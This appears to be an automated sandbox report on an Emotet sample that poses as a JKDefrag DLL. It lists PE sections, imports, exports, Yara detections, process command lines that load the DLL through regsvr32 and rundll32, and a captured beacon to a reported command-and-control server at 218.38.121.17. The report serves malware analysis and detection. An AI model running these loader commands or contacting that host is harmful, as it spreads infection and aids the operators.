                                                                                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xcc8f00x138.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_IAT0x7d0000x5b0.rdata
                                                                                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                      Sections

                                                                                                      NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                      .text0x10000x7b7300x7b800False0.4151379048582996zlib compressed data6.500974730197073IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                      .rdata0x7d0000x5a4360x5a600False0.5386329745850622data6.216561858499759IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .data0xd80000x2dd80x1400False0.16875data2.74154034211106IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                      .pdata0xdb0000x58080x5a00False0.5075086805555555data5.885478337065417IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      _RDATA0xe10000xf40x200False0.3125data2.4589036841990084IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .rsrc0xe20000x1e00x200False0.52734375data4.711413092530877IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                      .reloc0xe30000x9140xa00False0.500390625data5.232229159197526IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                      Resources

                                                                                                      NameRVASizeTypeLanguageCountry
                                                                                                      RT_MANIFEST0xe20600x17dXML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States

                                                                                                      Imports

                                                                                                      DLLImport
                                                                                                      gdiplus.dllGdipDrawString, GdipFree, GdiplusStartup, GdipAlloc, GdipDeleteFont, GdipCreateFont, GdipDeleteFontFamily, GdipCreateFontFamilyFromName, GdipGetVisibleClipBoundsI, GdipDrawImageI, GdipFillRectangleI, GdipDrawLineI, GdipDeleteGraphics, GdipCreateFromHDC, GdipCreateBitmapFromScan0, GdipGetImageGraphicsContext, GdipDisposeImage, GdipCloneImage, GdipDeletePen, GdipCreatePen1, GdipCreateLineBrushFromRectI, GdipCreateSolidFill, GdipDeleteBrush, GdipCloneBrush
                                                                                                      CRYPT32.dllCryptStringToBinaryA
                                                                                                      KERNEL32.dllSetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, WideCharToMultiByte, MultiByteToWideChar, GetCommandLineA, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindFirstFileExW, GetConsoleOutputCP, WriteFile, ReadConsoleW, GetProcessHeap, SetConsoleCtrlHandler, GetCommandLineW, CloseHandle, GetLastError, GetCurrentProcessId, CreateThread, GetVersionExA, VirtualAlloc, CreateToolhelp32Snapshot, Process32First, Process32Next, DeviceIoControl, ReleaseMutex, WaitForSingleObject, CreateMutexA, SetThreadExecutionState, CreateFileW, FindClose, FindFirstFileW, FindNextFileW, FlushFileBuffers, GetDiskFreeSpaceExW, GetStringTypeW, SetFilePointerEx, GetFileInformationByHandle, GetLogicalDriveStringsW, GetVolumeInformationW, GetVolumePathNameW, GetVolumeNameForVolumeMountPointW, Sleep, GetCurrentProcess, GetSystemTime, GetSystemTimeAsFileTime, FormatMessageW, SystemTimeToFileTime, FindFirstVolumeMountPointW, FindNextVolumeMountPointW, FindVolumeMountPointClose, GetLongPathNameW, GetShortPathNameW, GetModuleFileNameW, LocalFileTimeToFileTime, ReadFile, DosDateTimeToFileTime, GetConsoleMode, HeapReAlloc, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, FlsFree, FlsSetValue, FlsGetValue, FlsAlloc, GetTempPathW, GetFileType, GetStdHandle, HeapFree, HeapAlloc, GetDriveTypeW, GetFileSizeEx, RtlUnwind, SetStdHandle, HeapSize, SetEndOfFile, WriteConsoleW, OutputDebugStringW, GetFileAttributesExW, GetCurrentThread, DeleteFileW, GetTimeZoneInformation, GetModuleHandleExW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RtlPcToFileHeader, RaiseException, RtlUnwindEx, InterlockedPushEntrySList, InterlockedFlushSList, SetLastError, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, ExitProcess
                                                                                                      USER32.dllShowWindow, LoadStringA, LoadIconA, LoadCursorA, MessageBoxW, InvalidateRect, EndPaint, BeginPaint, UpdateWindow, SetTimer, CreateWindowExW, RegisterClassExA, PostQuitMessage, DefWindowProcA, DispatchMessageA, TranslateMessage, GetMessageA
                                                                                                      GDI32.dllGetStockObject
                                                                                                      ADVAPI32.dllRegQueryValueExW, RegCreateKeyExW, RegCloseKey, LookupPrivilegeValueA, AdjustTokenPrivileges, OpenProcessToken
                                                                                                      SHELL32.dllCommandLineToArgvW
                                                                                                      ole32.dllCoLoadLibrary

                                                                                                      Exports

                                                                                                      NameOrdinalAddress
                                                                                                      ?AddArrayString@JKDefragLib@@QEAAPEAPEA_WPEAPEA_WPEA_W@Z10x180005f7c
                                                                                                      ?CallShowStatus@JKDefragLib@@QEAAXPEAUDefragDataStruct@@HH@Z20x180006a7c
                                                                                                      ?ColorizeItem@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@_K2H@Z30x180006f30
                                                                                                      ?DeleteItemTree@JKDefragLib@@QEAAXPEAUItemStruct@@@Z40x18000adc0
                                                                                                      ?FragmentCount@JKDefragLib@@QEAAHPEAUItemStruct@@@Z50x18000bcd0
                                                                                                      ?GetItemLcn@JKDefragLib@@QEAA_KPEAUItemStruct@@@Z60x18000c048
                                                                                                      ?GetLongPath@JKDefragLib@@QEAAPEA_WPEAUDefragDataStruct@@PEAUItemStruct@@@Z70x18000c06c
                                                                                                      ?GetShortPath@JKDefragLib@@QEAAPEA_WPEAUDefragDataStruct@@PEAUItemStruct@@@Z80x18000c124
                                                                                                      ?IsFragmented@JKDefragLib@@QEAAHPEAUItemStruct@@_K1@Z90x18000c1dc
                                                                                                      ?MatchMask@JKDefragLib@@QEAAHPEA_W0@Z100x18000c290
                                                                                                      ?RunJkDefrag@JKDefragLib@@QEAAXPEA_WHHNPEAPEA_W1PEAH1@Z110x18000dca0
                                                                                                      ?ShowHex@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAE_K@Z120x18000ecb4
                                                                                                      ?SlowDown@JKDefragLib@@QEAAXPEAUDefragDataStruct@@@Z130x18000ee6c
                                                                                                      ?StopJkDefrag@JKDefragLib@@QEAAXPEAHH@Z140x18000ef50
                                                                                                      ?SystemErrorStr@JKDefragLib@@QEAAXKPEA_W_K@Z150x18000efac
                                                                                                      ?TreeBiggest@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@@Z160x18000f07c
                                                                                                      ?TreeDetach@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@@Z170x18000f09c
                                                                                                      ?TreeFirst@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@H@Z180x18000f1cc
                                                                                                      ?TreeInsert@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@@Z190x18000f208
                                                                                                      ?TreeNext@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@@Z200x18000f3bc
                                                                                                      ?TreeNextPrev@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@H@Z210x18000f3f8
                                                                                                      ?TreePrev@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@@Z220x18000f408
                                                                                                      ?TreeSmallest@JKDefragLib@@QEAAPEAUItemStruct@@PEAU2@@Z230x18000f444
                                                                                                      ?stristr@JKDefragLib@@QEAAPEADPEAD0@Z240x18000f964
                                                                                                      ?stristrW@JKDefragLib@@QEAAPEA_WPEA_W0@Z250x18000f9c4
                                                                                                      DllRegisterServer260x180003218

                                                                                                      Possible Origin

                                                                                                      Language of compilation systemCountry where language is spokenMap
                                                                                                      EnglishUnited States

                                                                                                      Network Behavior

                                                                                                      Snort IDS Alerts

                                                                                                      TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                      192.168.2.3218.38.121.17497144432404324 11/21/22-03:33:25.830611TCP2404324ET CNC Feodo Tracker Reported CnC Server TCP group 1349714443192.168.2.3218.38.121.17

                                                                                                      Network Port Distribution

                                                                                                      TCP Packets

                                                                                                      TimestampSource PortDest PortSource IPDest IP
                                                                                                      Nov 21, 2022 03:33:25.830610991 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:25.830670118 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:25.830774069 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:25.834296942 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:25.834327936 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:26.678919077 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:26.679049015 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:26.684890032 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:26.684900045 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:26.685220003 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:26.734738111 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:26.972662926 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:26.972714901 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:28.495560884 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:28.495716095 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:28.495820045 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:28.497793913 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:28.497824907 CET44349714218.38.121.17192.168.2.3
                                                                                                      Nov 21, 2022 03:33:28.497879982 CET49714443192.168.2.3218.38.121.17
                                                                                                      Nov 21, 2022 03:33:28.497911930 CET44349714218.38.121.17192.168.2.3

                                                                                                      HTTP Request Dependency Graph

                                                                                                      • 218.38.121.17

                                                                                                      HTTPS Proxied Packets

                                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                      0192.168.2.349714218.38.121.17443C:\Windows\System32\regsvr32.exe
                                                                                                      TimestampkBytes transferredDirectionData
                                                                                                      2022-11-21 02:33:26 UTC0OUTGET / HTTP/1.1
                                                                                                      Connection: Keep-Alive
                                                                                                      Cookie: CZwFFyjqj=PsvUh5dfSTgXF3Yfky8rapppSN7mDiCvH+dhS2Yyfelw3Uamqit8NZor2F3Wy+WwSOWoqN5+2o3Zhw2FNT71LtRpaSkxFWR1Kg0o99Yo3iDlozWdXVbDKN+LNEQRdtHZJN1d10Z33/NnObB/sxIul9Ns9qbwBnIwcHleye3lvrsI/kzOGvqg3ckWLYjTGAiII7OQEACc/Vokb0xydc70YHeGOJ5LxNaj2PY1k1evPoZnUp8rd747CdSB5js=
                                                                                                      Host: 218.38.121.17
                                                                                                      2022-11-21 02:33:28 UTC0INHTTP/1.1 200 OK
                                                                                                      Server: nginx
                                                                                                      Date: Mon, 21 Nov 2022 02:33:28 GMT
                                                                                                      Content-Type: text/html; charset=UTF-8
                                                                                                      Transfer-Encoding: chunked
                                                                                                      Connection: close
                                                                                                      2022-11-21 02:33:28 UTC0INData Raw: 31 39 39 0d 0a d8 69 98 bd 16 08 8a e9 c7 8c 6a 59 0d 32 a2 31 53 56 f3 07 d8 fb 71 b1 b8 5e 8a 13 95 d3 70 4b 35 29 ca 9c 07 4c 18 c1 af 30 b1 40 ca bf 1f 7a 5d 54 68 fa f7 8f b7 47 a2 96 e8 21 b5 af 9a b1 92 25 19 d6 6c 8f ea ba 62 b3 4e d4 01 12 e8 16 66 dd 46 94 f8 46 e3 1a 0f bd 8c c8 3b 8d 9d ff 8c 75 fc bc 45 98 fc 83 13 1f 97 7a 67 f2 00 50 9a fa f3 74 74 57 47 b0 7f d7 26 0d 99 e9 92 2f 12 3d 9c 4e 10 e2 0c e5 9c 78 a0 ac 4a aa 8d 99 5e db d1 56 8a db d6 e5 77 88 01 2d 72 48 dd 91 21 73 1a 8a 9c 21 5f fc e1 d9 4e b2 cf 43 28 9c e6 db 0f 4a 85 9b 4f 8d 80 01 a7 67 0a ef fc 21 c1 da 7d a0 6d b3 9b 7b f8 05 84 dc d1 12 9f 8a b9 c0 4b c3 68 b7 6f 49 29 a6 c8 87 78 ca 4d 09 e6 ff d4 4d ba 2f 3c 09 c2 88 20 d7 b2 02 c4 76 80 68 a2 70 d7 d3 e3 ff 6d a2
                                                                                                      Data Ascii: 199ijY21SVq^pK5)L0@z]ThG!%lbNfFF;uEzgPttWG&/=NxJ^Vw-rH!s!_NC(JOg!}m{KhoI)xMM/< vhpm


                                                                                                      Statistics

                                                                                                      CPU Usage

                                                                                                      Click to jump to process

                                                                                                      Memory Usage

                                                                                                      Click to jump to process

                                                                                                      High Level Behavior Distribution

                                                                                                      Click to dive into process behavior distribution

                                                                                                      Behavior

                                                                                                      Click to jump to process

                                                                                                      System Behavior

                                                                                                      General

                                                                                                      Target ID:0
                                                                                                      Start time:03:32:44
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\loaddll64.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:loaddll64.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll"
                                                                                                      Imagebase:0x7ff600720000
                                                                                                      File size:139776 bytes
                                                                                                      MD5 hash:C676FC0263EDD17D4CE7D644B8F3FCD6
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:1
                                                                                                      Start time:03:32:44
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      Imagebase:0x7ff745070000
                                                                                                      File size:625664 bytes
                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:2
                                                                                                      Start time:03:32:45
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:cmd.exe /C rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1
                                                                                                      Imagebase:0x7ff707bb0000
                                                                                                      File size:273920 bytes
                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:3
                                                                                                      Start time:03:32:45
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:regsvr32.exe /s C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll
                                                                                                      Imagebase:0x7ff7f5e80000
                                                                                                      File size:24064 bytes
                                                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.254242832.0000000000B00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:4
                                                                                                      Start time:03:32:45
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:rundll32.exe "C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll",#1
                                                                                                      Imagebase:0x7ff63eb10000
                                                                                                      File size:69632 bytes
                                                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000000.253014513.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.287369701.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000000.254193655.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000000.253580195.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.287814441.0000022AB0991000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000000.251796872.0000022AB0780000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:5
                                                                                                      Start time:03:32:45
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?AddArrayString@JKDefragLib@@QEAAPEAPEA_WPEAPEA_WPEA_W@Z
                                                                                                      Imagebase:0x7ff63eb10000
                                                                                                      File size:69632 bytes
                                                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000000.253546936.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000000.255111695.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.287467703.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000000.255327053.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000000.253497739.0000021CE8590000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.287612874.0000021CE85C1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:8
                                                                                                      Start time:03:32:48
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\regsvr32.exe "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll"
                                                                                                      Imagebase:0x7ff7f5e80000
                                                                                                      File size:24064 bytes
                                                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.768911804.00000000029C1000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 00000008.00000002.767607073.0000000000F14000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.768771937.0000000002990000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:9
                                                                                                      Start time:03:32:48
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?CallShowStatus@JKDefragLib@@QEAAXPEAUDefragDataStruct@@HH@Z
                                                                                                      Imagebase:0x7ff63eb10000
                                                                                                      File size:69632 bytes
                                                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:10
                                                                                                      Start time:03:32:48
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\WerFault.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\WerFault.exe -u -p 6128 -s 480
                                                                                                      Imagebase:0x7ff679980000
                                                                                                      File size:494488 bytes
                                                                                                      MD5 hash:2AFFE478D86272288BBEF5A00BBEF6A0
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Reputation:high

                                                                                                      General

                                                                                                      Target ID:11
                                                                                                      Start time:03:32:49
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\WerFault.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\WerFault.exe -u -p 2424 -s 472
                                                                                                      Imagebase:0x7ff679980000
                                                                                                      File size:494488 bytes
                                                                                                      MD5 hash:2AFFE478D86272288BBEF5A00BBEF6A0
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language

                                                                                                      General

                                                                                                      Target ID:12
                                                                                                      Start time:03:32:51
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\rundll32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:rundll32.exe C:\Users\user\Desktop\kOiaWLNKXpjayWeM.dll,?ColorizeItem@JKDefragLib@@QEAAXPEAUDefragDataStruct@@PEAUItemStruct@@_K2H@Z
                                                                                                      Imagebase:0x7ff63eb10000
                                                                                                      File size:69632 bytes
                                                                                                      MD5 hash:73C519F050C20580F8A62C849D49215A
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language

                                                                                                      General

                                                                                                      Target ID:22
                                                                                                      Start time:03:33:38
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\WVVZhuligM\KuLiEStglluewHbC.dll
                                                                                                      Imagebase:0x7ff7f5e80000
                                                                                                      File size:24064 bytes
                                                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                                                      Has elevated privileges:false
                                                                                                      Has administrator privileges:false
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Yara matches:
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000016.00000002.371644938.0000000002A00000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                      • Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000016.00000002.371681565.0000000002A31000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

                                                                                                      General

                                                                                                      Target ID:23
                                                                                                      Start time:03:33:42
                                                                                                      Start date:21/11/2022
                                                                                                      Path:C:\Windows\System32\regsvr32.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\regsvr32.exe "C:\Users\user\AppData\Local\WrWLj\BwssvzQrG.dll"
                                                                                                      Imagebase:0x7ff7f5e80000
                                                                                                      File size:24064 bytes
                                                                                                      MD5 hash:D78B75FC68247E8A63ACBA846182740E
                                                                                                      Has elevated privileges:false
                                                                                                      Has administrator privileges:false
                                                                                                      Programmed in:C, C++ or other language

                                                                                                      Disassembly

                                                                                                      Reset < >

                                                                                                        Execution Graph

                                                                                                        Execution Coverage:3.5%
                                                                                                        Dynamic/Decrypted Code Coverage:39%
                                                                                                        Signature Coverage:39%
                                                                                                        Total number of Nodes:41
                                                                                                        Total number of Limit Nodes:7
                                                                                                        execution_graph 39875 2423840 39876 2423883 39875->39876 39879 2409ac0 39876->39879 39878 2423af3 39881 2409b8e 39879->39881 39880 2409ce4 CreateProcessW 39880->39878 39881->39880 39882 b30000 39885 b3015a 39882->39885 39883 b3033f GetNativeSystemInfo 39884 b30377 VirtualAlloc 39883->39884 39891 b308eb 39883->39891 39886 b30395 VirtualAlloc 39884->39886 39888 b303aa 39884->39888 39885->39883 39885->39891 39886->39888 39887 b30873 39889 b308c6 RtlAddFunctionTable 39887->39889 39887->39891 39888->39887 39890 b3084b VirtualProtect 39888->39890 39889->39891 39890->39888 39892 18005bbe0 39893 18005bbe5 RtlReleasePrivilege 39892->39893 39894 18005bc16 39892->39894 39893->39894 39895 18005bc00 GetLastError 39893->39895 39896 18005bc0d __free_lconv_num 39895->39896 39898 18005b354 11 API calls _get_daylight 39896->39898 39898->39894 39899 18005b560 39900 18005b5ab 39899->39900 39904 18005b56f _localtime64 39899->39904 39909 18005b354 11 API calls _get_daylight 39900->39909 39901 18005b592 RtlAllocateHeap 39903 18005b5a9 39901->39903 39901->39904 39904->39900 39904->39901 39906 180055de0 39904->39906 39910 180055e20 39906->39910 39909->39903 39915 18005b860 EnterCriticalSection 39910->39915 39912 180055e2d 39913 18005b8b4 _isindst LeaveCriticalSection 39912->39913 39914 180055df2 39913->39914 39914->39904 39916 1800645ec 39921 1800645fd _localtime64 39916->39921 39917 18006464e 39923 18005b354 11 API calls _get_daylight 39917->39923 39918 180064632 RtlAllocateHeap 39919 18006464c 39918->39919 39918->39921 39921->39917 39921->39918 39922 180055de0 Concurrency::details::_CurrentScheduler::_Get 2 API calls 39921->39922 39922->39921 39923->39919

                                                                                                        Executed Functions

                                                                                                        Function 00B30000 Relevance: 55.2, APIs: 5, Strings: 26, Instructions: 953memoryCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
